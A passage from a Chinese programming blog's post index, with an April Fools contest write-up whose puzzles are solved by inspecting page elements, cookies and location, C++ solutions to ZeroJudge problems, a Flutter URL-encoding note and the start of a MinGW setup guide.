的基礎才可能通靈解開來\n這次就來一次看清楚吧！\n不負責聲明：本人不是出題者，我只是寫我的解題心得而已，要官方題解請找出題者\n競賽連結 Contest # 競賽連結：https://zerojudge.tw/ShowContest?contestid=3282\n本人 Rank 2/125 之前在 TIOJ 打 April Fools 也是拿很前面的名次 正常競賽不會打，只會打 April Fools = =\n———————————暴雷分隔線，害怕請避難————————————\n題目 Problems # pA - Hello, April Fools Day 2020 # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e959\n進來雖然看懂題目了，也寫好了，可是\u0026hellip;\u0026hellip;「送出解答」按鈕呢？\n在那裡附近右鍵打開檢查\n找到送出「解答按鈕」的元素，你會發現按紐被 display: none; 了\n雙擊編輯把 display: none; 去除\n送出吧！\nprint(\u0026#39;Hello, April Fools Day 2020\u0026#39;) pB - 顛倒 # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e960\n整個敘述都顛倒好難看\u0026hellip;\u0026hellip;\n一秒破解，把敘述複製到無格式記事本\n好，你看懂題目，也打出來了，可是送出去之後\n我的聚焦會在 TLE，理當來說 $T\\times N = 100\\times 1000$，是不應該會 TLE 的\n於是我就先寫其他題目了\n但我後來回去再看一次標題「顛倒」\n就在想，會不會輸入也要顛倒\u0026hellip;\n果然，輸入倒回去看也是正確的，只不過輸出也要顛倒輸出\n/* Author: Jerry Yang C.H. (tico88612) Date: 2020/4/1 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; #define endl \u0026#39;\\n\u0026#39; #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) /********** Good Luck :) **********/ int main() { IOS(); ll w; int i = 0; ll enter[1000005]; while(cin \u0026gt;\u0026gt; w){ enter[i++] = w; } ll ans[10000]; int j = 0; ll t; t = enter[--i]; while(t--){ ll n; n = enter[--i]; ll total = 0; while(n--){ ll tp; tp = enter[--i]; total += tp; } ans[j++] = total; } while(j){ cout \u0026lt;\u0026lt; ans[--j] \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } return 0; } pC - 解題技巧 # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e961\n題目說參與「某種活動」有機會秒殺這題\n再加上輸入有數字 0-9、/和X\n就想到這題是保齡球分數計算，再稍微驗證一下輸入有 $11 \\sim 21$ 字元，應該準沒錯\n然後找了 UVa 584 的 Code（對，我懶得重寫）\n稍微改了一下，但還是 WA，不過分數多了一些\n隔一段時間回來後，因為測資有誤，Rejudge 後，也直接 AC 了\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;iostream\u0026gt; #include \u0026lt;sstream\u0026gt; #include \u0026lt;vector\u0026gt; using namespace std; int main() { int t; cin \u0026gt;\u0026gt; t; string line; cin.ignore(); while (t-- \u0026amp;\u0026amp; getline(cin, line)) { if (line == \u0026#34;Game Over\u0026#34;) break; stringstream sin(line); vector\u0026lt;pair\u0026lt;int, int\u0026gt; \u0026gt; frame; int n = 0, i; for (i = 0; i \u0026lt; line.length(); i++) { if (line[i] != \u0026#39; \u0026#39;) { line[n++] = line[i]; } } int score = 0; for (i = 0; i \u0026lt; n; i++) { if (line[i] == \u0026#39;X\u0026#39;) { frame.push_back(make_pair(10, 0)); } else { if (line[i + 1] == \u0026#39;/\u0026#39;) frame.push_back(make_pair(line[i] - \u0026#39;0\u0026#39;, 10 - (line[i] - \u0026#39;0\u0026#39;))); else frame.push_back(make_pair(line[i] - \u0026#39;0\u0026#39;, line[i + 1] - \u0026#39;0\u0026#39;)); i++; } } for (i = 0; i \u0026lt; 10; i++) { if (frame[i].first + frame[i].second != 10) score += frame[i].first + frame[i].second; else if (frame[i].first == 10) { if (frame[i + 1].first == 10) score += 10 + 10 + frame[i + 2].first; else score += 10 + frame[i + 1].first + frame[i + 1].second; } else { score += 10 + frame[i + 1].first; } } printf(\u0026#34;%d\\n\u0026#34;, score); } return 0; } pD - 灰階 # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e962\n通靈解題失敗，等作者發題解，我覺得那公式應該是唬爛的\n但我發現 Reddit 竟然找得到\u0026hellip;\n2020.04.04 更新\n參考 inversion 大大的通靈的心路歷程: https://zerojudge.tw/ShowThread?postid=21040\u0026amp;reply=0\n雖然我有看到這段話\n小歐:「24bit\u0026hellip; 就像全彩RGB那樣\u0026hellip; ?」 小草:「你要那樣說也不是不行啦~~~」\n也一度懷疑那字串不是 RGB，但那時候也不以為意（實際上就不是 RGB）\n不過用 Gray Code（格雷碼）諧音梗來誤導 RGB 也太傳神w\n但其實我也有發現範例輸入 #a0a0a0 顏色本身就是灰色，為何要硬轉成 #f0f0f0\n只能說我的通靈之路還得加強w\n本題就直接把 Hexadecimal 轉成 Binary\n然後再依照這部影片的教學轉成 Gray Code（格雷碼）\n再從 Binary 轉成 Hexadecimal 輸出即可 AC\n/* Author: Jerry Yang C.H. (tico88612) Date: 2020/4/4 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; #define FOR(i, j, k, in) for (int i=j ; i\u0026lt;k ; i+=in) #define REP(i, j) FOR(i, 0, j, 1) #define ALL(_a) _a.begin(),_a.end() #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) string decToBin(int s){ string re; REP(i, 4){ if(s % 2){ re += \u0026#39;1\u0026#39;; } else{ re += \u0026#39;0\u0026#39;; } s /= 2; } reverse(ALL(re)); return re; } string hexToBin(char s){ int ans = 0; if (isdigit(s)){ ans = s - \u0026#39;0\u0026#39;; } else { ans = s - \u0026#39;a\u0026#39; + 10; } return decToBin(ans); } char decToHex(int s) { if (s \u0026lt; 10) { return s + \u0026#39;0\u0026#39;; } else { return s - 10 + \u0026#39;a\u0026#39;; } } char binToHex(string s){ int total = 0; int now = 8, i = 0; while (now) { if (s[i] == \u0026#39;1\u0026#39;) { total += now; } i++; now /= 2; } return decToHex(total); } /********** Good Luck :) **********/ int main() { IOS(); int n; cin \u0026gt;\u0026gt; n; while(n--){ string enter; cin \u0026gt;\u0026gt; enter; string a; REP(i, 6){ a += hexToBin(enter[i]); } bitset\u0026lt;24\u0026gt; bita(a), bitb(a); bitb \u0026gt;\u0026gt;= 1; bita ^= bitb; string bins = bita.to_string(); string ans; for (int i = 0; i \u0026lt; 24; i += 4){ ans += binToHex(bins.substr(i, 4)); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } return 0; } pE - 餅乾盒遊戲 # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e963\n這題你會發現，你無法從題目敘述、輸入輸出判別 Yes or No\n他很強調「餅乾」\n還有一句話「畢竟不同的餅乾就能代表不同的人，也就是說，能夠從餅乾來判別一個人喔。」\n打過 Web CTF 就會知道，不過稍微通靈想一下\n「餅乾」=「Cookies」\n於是就打開 ZeroJudge 的 Cookies 欄位\n點進去，把 ZeroJudge 的 Cookies 展開，多了個東西叫做 pE_answer\n內容蠻長的，要複製完整才有答案哦！\n6IulIFNbaV0g54K6IOWtl+S4slMg56ysIGkg5YCL5a2X5YWD55qEIGFzY2lpIOaVuOWAvCAoRVg6IFM9ImJhciIg5YmHIFNbMF09OTgpCuS7pCBIKFMpID0gc3VtKFNbaV0qMTM5XmkpICjpgJnoo6HnmoRe5piv5oyH5pW46YGL566XKSAoRVg6IFM9ImJhciIg5YmHIEgoUyk9OTgrOTcqMTM5KzExNCoxMzleMj0yMjE2MTc1KQrlpoLmnpwgSChTKSUoU1swXSUzKzIpID09IDAgKOmAmeijoeeahCXmmK/lj5bppJjmlbgpIOWJh+ipsumkheS5vuaYr+WxrOaWvCLlsI/mrZAi55qE6aSF5Lm+77yM5Y+N5LmL5YmH5LiN5piv44CCCihFWDogUz0iYmFyIiwgIOWboOeCuiBIKFMpJShTWzBdJTMrMikgPSAyMjE2MTc1JTQgPSAzIOaVhSDoqbLppIXoqbLkuKbkuI3lsazmlrwi5bCP5q2QIueahOmkheS5vik= 結尾有個等於，看起來是 Base64 Encode，找個 Online Base64 Decoder 還原回去\n若 S[i] 為 字串S 第 i 個字元的 ascii 數值 (EX: S=\u0026#34;bar\u0026#34; 則 S[0]=98) 令 H(S) = sum(S[i]*139^i) (這裡的^是指數運算) (EX: S=\u0026#34;bar\u0026#34; 則 H(S)=98+97*139+114*139^2=2216175) 如果 H(S)%(S[0]%3+2) == 0 (這裡的%是取餘數) 則該餅乾是屬於\u0026#34;小歐\u0026#34;的餅乾，反之則不是。 (EX: S=\u0026#34;bar\u0026#34;, 因為 H(S)%(S[0]%3+2) = 2216175%4 = 3 故 該餅該並不屬於\u0026#34;小歐\u0026#34;的餅乾) 知道題目了，來實作吧！\n這題需要用到同餘定理，照題目先把要 MOD 的數字算出，再把 $H(S)$ 算出\n算 $139$ 的次方，記得都要取 MOD，再去照題目要求判斷，即可 AC\n/* Author: Jerry Yang C.H. (tico88612) Date: 2020/4/1 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; #define SZ(i) int(i.size()) #define FOR(i, j, k, in) for (int i=j ; i\u0026lt;k ; i+=in) #define RFOR(i, j, k, in) for (int i=j ; i\u0026gt;=k ; i-=in) #define REP(i, j) FOR(i, 0, j, 1) #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) /********** Good Luck :) **********/ int main() { IOS(); int t; cin \u0026gt;\u0026gt; t; while(t--){ string s; cin \u0026gt;\u0026gt; s; ll mod = s[0] % 3 + 2; ll total = 0; ll timee = 1; REP(i, SZ(s)){ total += ((s[i] % mod) * (timee % mod)) % mod; timee *= 139; timee %= mod; } if(total % mod == 0){ cout \u0026lt;\u0026lt; \u0026#34;yes\u0026#34; \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } else{ cout \u0026lt;\u0026lt; \u0026#34;no\u0026#34; \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } return 0; } pF - 前往疫區 # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e964\n這題賽中題目敘述爛掉，還原一下那時候的大意\n「現在最嚴重的國家是\u0026hellip;？美國」 「對，如果你是從美國來的，就可以拿到提示哦！」\n如果你是正常連線的話，你應該只能看到這裡\n於是我就用了一下 VPN 連線到美國\n小歐:「咦?? 現在這個人好像就是來自 美國 的耶」 小草:「啊\u0026hellip; 的確呢 還真是意外耶(棒讀)」 小歐:「怎麼覺得你早就知道會有人一樣\u0026hellip; ?」 小草:「沒那回事 那是你的錯覺♪」 小歐:「所以說那個提示.. ?」 小草:「啊，差點就忘了\u0026hellip; 提示是『${Ans=(9487945\\times\\displaystyle\\sum_{i=0}^{b}a^i)\\bmod 10^9+7}$』。」 小歐:「我是覺得這已經不是提示的程度了啦，直接講解答還能夠算是提示嗎?? 不過確實，不看提示真的猜不到呢\u0026hellip; \u0026hellip;」 小草:「嘛 惡趣味可不是叫假的」 小歐:「算了\u0026hellip; 我已經放棄思考了\u0026hellip; \u0026hellip;」 小草:「終於看開了呀(笑)」 小歐:「所以在最後還是來做點正事吧 在此恭喜你通過所有關卡!! 🎉🎉🎉」 小草:「不過也有可能是直接跳關到這裡就是了\u0026hellip; ?」 小歐:「雖然相見的時間不長，但也到了該謝幕的時間了。」 小草:「我倒是覺得已經很長了\u0026hellip; \u0026hellip;」 小歐:「就這樣，我是主持人小歐」 小草:「我其實只是路過的♪」 小歐:「欸!? 真的假的!? 總之，有緣的話明年再見吧」 小草:「說真的，究竟有多少人能看到這裡呢\u0026hellip; \u0026hellip;」\n然後你的背景也一起 美國 了，強烈建議連線進去捧場一下\n但我是覺得不一定要連 VPN 到美國，想辦法騙過 JavaScript 是從美國來的應該也可以\n回到題目重點，本題重點在這裡\n$$ {Ans=(9487945\\times\\displaystyle\\sum_{i=0}^{b}a^i)\\bmod 10^9+7} $$$\\displaystyle\\sum_{i=0}^{b}a^i$ 這東西 Google 了半天，才知道那是等比級數啊！高中數學都忘光了@@\n用 等比級數 搭配 快速冪，改一下條件判斷就 AC 了\n/* Author: Jerry Yang C.H. (tico88612) Date: 2020/4/2 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) const ll MOD = 1000000007LL; ll a; ll q_pow(ll a, ll n, ll MOD) { ll res = 1; while (n) { if (n \u0026amp; 1) res = res * a % MOD; a = a * a % MOD; n \u0026gt;\u0026gt;= 1; } return res % MOD; } ll sum(ll n) { if (n \u0026lt;= 1) return a % MOD; ll s = sum(n / 2) % MOD; if (n % 2 == 0) return s + s * q_pow(a, n / 2, MOD) % MOD; else return s + s * q_pow(a, n / 2, MOD) + q_pow(a, n, MOD) % MOD; } /********** Good Luck :) **********/ int main() { IOS(); int t; cin \u0026gt;\u0026gt; t; while (t--) { ll b; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; if (a == 0) { cout \u0026lt;\u0026lt; \u0026#34;0\u0026#34; \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } else if (b == 0){ cout \u0026lt;\u0026lt; \u0026#34;9487945\u0026#34; \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } else { ll ans = sum(b); cout \u0026lt;\u0026lt; (((sum(b) + 1) % MOD) * 9487945 % MOD) % MOD \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } return 0; } 後記 Afterword # 這場比賽性質不能直接跟正常比賽比較\n畢竟是 April Fools 嘛 w\nTCSH Online Judge 明年也可以來這樣搞好了\n話說隔幾天就是 Google Code Jam 了，加上專題還有作業，估計繼續潛水了\u0026hellip;\n就醬子！ㄅㄅ！\n","date":"2020/04/03","externalUrl":null,"permalink":"/posts/zerojudge-april-fools-contest-2020/","section":"Posts","summary":"這次比賽真的蠻有 April Fools 的味道\n不過在 ZeroJudge 平台應該是新手居多，可能會有點適應不良，或者不知從何下手\n","title":"ZeroJudge April Fools Contest 2020 解題心得","type":"posts"},{"content":"","date":"2020/02/16","externalUrl":null,"permalink":"/tags/dfs/","section":"Tags","summary":"","title":"Dfs","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e463\n敘述 Description # 給你一個數字n(n\u0026lt;=100)，可以在n旁邊加上\u0026lt;=n/2的數字，一直加到不能加為止\n比如說n=6，可以變成16,26,36\n26可以變成126\n36可以變成136\n最後總共有6,16,26,36,126,136共六個數字\n輸入 Input # 多筆輸入\n每行為n(n\u0026lt;=100)\n輸出 Output # 輸出共有幾個數字\n再輸出每個數字，記得要排序\n(有一些數字雖然會重複，但因為是由不同數字變出來的，所以都要輸出)\n範例輸入 Sample Input # 6 10 範例輸出 Sample Output # 6 6 16 26 36 126 136 14 10 110 210 310 410 510 1210 1310 1410 1510 2410 2510 12410 12510 提示 Hint # 不准作弊!\n題解 Solution # 搭配 DFS + Multiset 不能使用 Set 的原因是有些數字會是重複產生，但是必須要讓它輸出\n深度當前的那個數字 $n$，然後從 $1$ 到 $\\frac{n}{2}$ 再向下搜尋 Line 64 的 s 是計算要加入數字的長度\n程式碼 Accepted Code # /* Author: Jerry Yang C.H. (tico88612) Date: 2020/2/16 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; typedef pair\u0026lt;ll, ll\u0026gt; pii; typedef pair\u0026lt;double,double\u0026gt; pdd; #define SQ(i) ((i)*(i)) #define MEM(a, b) memset(a, (b), sizeof(a)) #define SZ(i) int(i.size()) #define FOR(i, j, k, in) for (int i=j ; i\u0026lt;k ; i+=in) #define RFOR(i, j, k, in) for (int i=j ; i\u0026gt;=k ; i-=in) #define REP(i, j) FOR(i, 0, j, 1) #define REP1(i,j) FOR(i, 1, j+1, 1) #define RREP(i, j) RFOR(i, j, 0, 1) #define ALL(_a) _a.begin(),_a.end() #define MP make_pair #define PB push_back #define EB emplace_back #define X first #define Y second #ifdef tmd #define debug(...) do{\\ fprintf(stderr,\u0026#34;%s - %d (%s) = \u0026#34;,__PRETTY_FUNCTION__,__LINE__,#__VA_ARGS__);\\ _do(__VA_ARGS__);\\ }while(0) template\u0026lt;typename T\u0026gt;void _do(T \u0026amp;\u0026amp;_x){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;endl;} template\u0026lt;typename T,typename ...S\u0026gt; void _do(T \u0026amp;\u0026amp;_x,S \u0026amp;\u0026amp;..._t){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;\u0026#34; ,\u0026#34;;_do(_t...);} template\u0026lt;typename _a,typename _b\u0026gt; ostream\u0026amp; operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,const pair\u0026lt;_a,_b\u0026gt; \u0026amp;_p){return _s\u0026lt;\u0026lt;\u0026#34;(\u0026#34;\u0026lt;\u0026lt;_p.X\u0026lt;\u0026lt;\u0026#34;,\u0026#34;\u0026lt;\u0026lt;_p.Y\u0026lt;\u0026lt;\u0026#34;)\u0026#34;;} template\u0026lt;typename It\u0026gt; ostream\u0026amp; _OUTC(ostream \u0026amp;_s,It _ita,It _itb) { _s\u0026lt;\u0026lt;\u0026#34;{\u0026#34;; for(It _it=_ita;_it!=_itb;_it++) { _s\u0026lt;\u0026lt;(_it==_ita?\u0026#34;\u0026#34;:\u0026#34;,\u0026#34;)\u0026lt;\u0026lt;*_it; } _s\u0026lt;\u0026lt;\u0026#34;}\u0026#34;; return _s; } template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,vector\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,set\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,deque\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a,typename _b\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,map\u0026lt;_a,_b\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _t\u0026gt; void pary(_t _a,_t _b){_OUTC(cerr,_a,_b);cerr\u0026lt;\u0026lt;endl;} #define IOS() #else #define debug(...) #define pary(...) #define endl \u0026#39;\\n\u0026#39; #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) #endif const ll MOD = 1000000007LL; const ll INF = 0x3f3f3f3f3f3f3f3fLL; const int iNF = 0x3f3f3f3f; // const ll MAXN = multiset\u0026lt;ll\u0026gt; ms; void dfs(ll n, ll now){ ms.insert(now); ll s = pow(10, (ll)(log10(now) + 1)); REP1(i, n / 2){ dfs(i, now + i * s); } } void play(ll n){ ms.clear(); dfs(n, n); cout \u0026lt;\u0026lt; SZ(ms) \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; int fir = 1; for(auto i: ms){ if(fir){ fir = 0; } else{ cout \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } cout \u0026lt;\u0026lt; i; } cout \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } /********** Good Luck :) **********/ int main() { IOS(); ll n; while(cin \u0026gt;\u0026gt; n){ play(n); } return 0; } 後記 Afterword # That\u0026rsquo;s it. 暫時不知道要寫啥\n","date":"2020/02/16","externalUrl":null,"permalink":"/posts/zj-e463/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e463\n","title":"e463. 數數字","type":"posts"},{"content":"","date":"2020/02/16","externalUrl":null,"permalink":"/tags/multiset/","section":"Tags","summary":"","title":"Multiset","type":"tags"},{"content":"","date":"2020/02/04","externalUrl":null,"permalink":"/tags/brute-force/","section":"Tags","summary":"","title":"Brute Force","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e880\n敘述 Description # 酷酷鯊是一支新成立的棒球隊，共有 $N$ 位球員。球隊裡原本氣氛融洽，大家都是好麻吉，同心協力爭取年度總冠軍。然而，最近一連串的比賽不順利，球員間開始出現摩擦。今天，棒球聯盟邀請了總統夫人到場開球。總統夫人是酷酷鯊隊的球迷，因此她希望能和全體球員合影留念。拍照時，球員們會站成一列。為了避免尷尬，球隊經理希望在安排拍照的隊型時，不要讓彼此有和芥蒂的球員站在一起。\n舉例來說，如果有五位球員 A, B, C, D, E，其中 A 和 B 不願意站在一起，C 和 D 不願意站在一起，那麼 ABCDE 和 ABCED 不是適當的隊型，而 ACBDE 和 CADEB 則都是適當的隊型。\n現在請你撰寫一個程式，協助球隊經理在總統夫人落臨之前，排出一個適當的合影隊型吧!\n輸入 Input # 第一行為球員人數 $N$，$N \\leq 15$。（球員代號從 A 開始編起。）\n第二行為有摩擦的球員配對數 $M$，$M \\leq 50$。\n第三行開始，每一行有兩個字元，代表有摩擦的兩個球員代號。兩個字元間以一個空格隔開。\n輸出 Output # 請輸出以字典遞增排序方式的第一個適合隊型。如果沒有任何適合隊型，請輸出 No Solution。計算時間不得超過2秒鐘。\n範例輸入 Sample Input # 範例1: 5 2 A B C D 範例2: 4 4 A B C D C A C B 範例輸出 Sample Output # 範例1: ACBDE 範例2: No Solution 提示 Hint # 題解 Solution # 熟悉 STL 一定知道 next_permutation 可以直接窮舉 但是，直接窮舉 $15! = 1307674368000$ 種可能，沒辦法在 2 秒跑完（ZJ 直接開 1 秒） 必定要自己寫 DFS 剪枝了\n用個 $15 \\times 15$ 的矩陣紀錄他們能不能站在一起 DFS 時候 當前的成員 跟 前一個被選的成員，查詢能不能站在一起 可以就往下尋找，不能就可以直接找下一位成員\n程式碼 Accepted Code # /* Author: Jerry Yang C.H. (tico88612) Date: 2020/2/4 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; typedef pair\u0026lt;ll, ll\u0026gt; pii; typedef pair\u0026lt;double,double\u0026gt; pdd; #define SQ(i) ((i)*(i)) #define MEM(a, b) memset(a, (b), sizeof(a)) #define SZ(i) int(i.size()) #define FOR(i, j, k, in) for (int i=j ; i\u0026lt;k ; i+=in) #define RFOR(i, j, k, in) for (int i=j ; i\u0026gt;=k ; i-=in) #define REP(i, j) FOR(i, 0, j, 1) #define REP1(i,j) FOR(i, 1, j+1, 1) #define RREP(i, j) RFOR(i, j, 0, 1) #define ALL(_a) _a.begin(),_a.end() #define MP make_pair #define PB push_back #define EB emplace_back #define X first #define Y second #ifdef tmd #define debug(...) do{\\ fprintf(stderr,\u0026#34;%s - %d (%s) = \u0026#34;,__PRETTY_FUNCTION__,__LINE__,#__VA_ARGS__);\\ _do(__VA_ARGS__);\\ }while(0) template\u0026lt;typename T\u0026gt;void _do(T \u0026amp;\u0026amp;_x){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;endl;} template\u0026lt;typename T,typename ...S\u0026gt; void _do(T \u0026amp;\u0026amp;_x,S \u0026amp;\u0026amp;..._t){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;\u0026#34; ,\u0026#34;;_do(_t...);} template\u0026lt;typename _a,typename _b\u0026gt; ostream\u0026amp; operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,const pair\u0026lt;_a,_b\u0026gt; \u0026amp;_p){return _s\u0026lt;\u0026lt;\u0026#34;(\u0026#34;\u0026lt;\u0026lt;_p.X\u0026lt;\u0026lt;\u0026#34;,\u0026#34;\u0026lt;\u0026lt;_p.Y\u0026lt;\u0026lt;\u0026#34;)\u0026#34;;} template\u0026lt;typename It\u0026gt; ostream\u0026amp; _OUTC(ostream \u0026amp;_s,It _ita,It _itb) { _s\u0026lt;\u0026lt;\u0026#34;{\u0026#34;; for(It _it=_ita;_it!=_itb;_it++) { _s\u0026lt;\u0026lt;(_it==_ita?\u0026#34;\u0026#34;:\u0026#34;,\u0026#34;)\u0026lt;\u0026lt;*_it; } _s\u0026lt;\u0026lt;\u0026#34;}\u0026#34;; return _s; } template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,vector\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,set\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,deque\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a,typename _b\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,map\u0026lt;_a,_b\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _t\u0026gt; void pary(_t _a,_t _b){_OUTC(cerr,_a,_b);cerr\u0026lt;\u0026lt;endl;} #define IOS() #else #define debug(...) #define pary(...) #define endl \u0026#39;\\n\u0026#39; #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) #endif const ll MOD = 1000000007LL; const ll INF = 0x3f3f3f3f3f3f3f3fLL; const int iNF = 0x3f3f3f3f; // const ll MAXN = int N, M; bool non[16][16] = {0}; bool judge = false; bool visited[16] = {0}; void dfs(int now, string ans){ if(now == N){ cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; judge = 1; return; } for(int i = 0; i \u0026lt; N \u0026amp;\u0026amp; !judge; i++){ if(!visited[i] \u0026amp;\u0026amp; now \u0026amp;\u0026amp; !non[ans[now - 1] - \u0026#39;A\u0026#39;][i]){ visited[i] = 1; string tmp = ans + (char)(i + \u0026#39;A\u0026#39;); dfs(now + 1, tmp); visited[i] = 0; } else if(!visited[i] \u0026amp;\u0026amp; now == 0){ visited[i] = 1; string tmp = ans + (char)(i + \u0026#39;A\u0026#39;); dfs(now + 1, tmp); visited[i] = 0; } } } /********** Good Luck :) **********/ int main() { IOS(); cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; while(M--){ string aa, bb; cin \u0026gt;\u0026gt; aa \u0026gt;\u0026gt; bb; int a = aa[0] - \u0026#39;A\u0026#39;; int b = bb[0] - \u0026#39;A\u0026#39;; non[a][b] = non[b][a] = 1; } dfs(0, \u0026#34;\u0026#34;); if(!judge) cout \u0026lt;\u0026lt; \u0026#34;No Solution\u0026#34; \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # 一開始寫完以為會被 TLE，沒想到是直接 AC 然後交大程式寒訓因為武漢肺炎停辦 QAQ\n之後再來寫一篇文，有關交大程式寒訓默哀文\n","date":"2020/02/04","externalUrl":null,"permalink":"/posts/zj-e880/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=e880\n","title":"e880. Q1 合影隊形","type":"posts"},{"content":"","date":"2020/02/04","externalUrl":null,"permalink":"/tags/pruning/","section":"Tags","summary":"","title":"Pruning","type":"tags"},{"content":"","date":"2019/12/18","externalUrl":null,"permalink":"/tags/flutter/","section":"Tags","summary":"","title":"Flutter","type":"tags"},{"content":"又是一種踩雷日常，想看看開發自己的 App 是什麼感覺\n可是我又不想兩個平台語言都學 Android 陣營就是 Kotlin、Java iOS 陣營就是 Swift、Objective-C\n於是就選了 Google 旗下最新的框架 —— Flutter\n心得 # 整體架構有點自由，自由到我都不知道 model 要放哪 LUL UI 也很好編排，除非你要改一些位置 相關的 Code 也可以去 Google 找找看 我原本只想寫 UI 結果不小心就把資料一起 Get 進來了\n而且整體 Code 也沒有不多\nURL 網址無法打開之踩雷 # 前陣子才到的雷就是網址問題 cURL 拿到的是網址含有中文字 但是呢！瀏覽器會很有“智慧”的幫你轉成 URL Encode 但在 Dart 裡面就沒有這種“智慧”東西了 前面要求我們要先 canLaunch 才可以 launch 網址\n_launchURL(String url) async { if (await canLaunch(url)) { await launch(url); } else { throw \u0026#39;Could not launch $url\u0026#39;; } } 可是寫完之後要呼叫網址檔案時，就會 throw exception 結果後來觀察到用 PHP cURL 拿到的網址，全數字沒問題，但出現中文就會 throw exception 我還在想是不是中文問題，還去 Google url_launcher flutter chinese 但發現根本沒有相關結果 直到我看到有個結果是網址有空格，要轉成 URL Encode 我才想到，要先轉成 URL Encode 瀏覽器才知道 於是就改成這樣\n_launchURL(String url) async { url = Uri.encodeFull(url); // url to url encode. if (await canLaunch(url)) { await launch(url); } else { throw \u0026#39;Could not launch $url\u0026#39;; } } 這個坑，害我想了一整晚，原來是 Encode 問題啊！\n","date":"2019/12/18","externalUrl":null,"permalink":"/posts/flutter-url-encoder/","section":"Posts","summary":"又是一種踩雷日常，想看看開發自己的 App 是什麼感覺\n","title":"Flutter 心得 和 URL 網址無法打開之踩雷","type":"posts"},{"content":"","date":"2019/11/30","externalUrl":null,"permalink":"/tags/compiler/","section":"Tags","summary":"","title":"Compiler","type":"tags"},{"content":"這個筆記做一下記錄，我在 Windows 10 上的更新\n很多人都知道 Dev-C++ 已經算是不更新的 IDE 了 但我在 Windows 寫 C / C++ 還是用 Dev-C++ 可是版本停留在 TDM-GCC 4.9.2（Windows 最新的版本為 G++ 8.2.0） 新版的標準想使用都不能用 我們直接來手動更新吧！\n1. 安裝 MinGW # 進到 MinGW 官網 點入 Downloads\n進入後請你找到 mingw-get-setup.exe 並下載\n下載連結參考\n就開始 Install\n選擇路徑，需要記得位置！\n點下去就會開始安裝，安裝完畢後就開啟 MinGW Installation Manager\n把 mingw32-base-bin 跟 mingw32-gcc-g++-bin 這兩個 Mark for Installation\n然後就 Apply Changes\n點下 Apply\n安裝完畢後，進到你安裝的路徑\n進入 bin 資料夾，複製路徑\n編輯環境變數 Path\n加入到環境變數 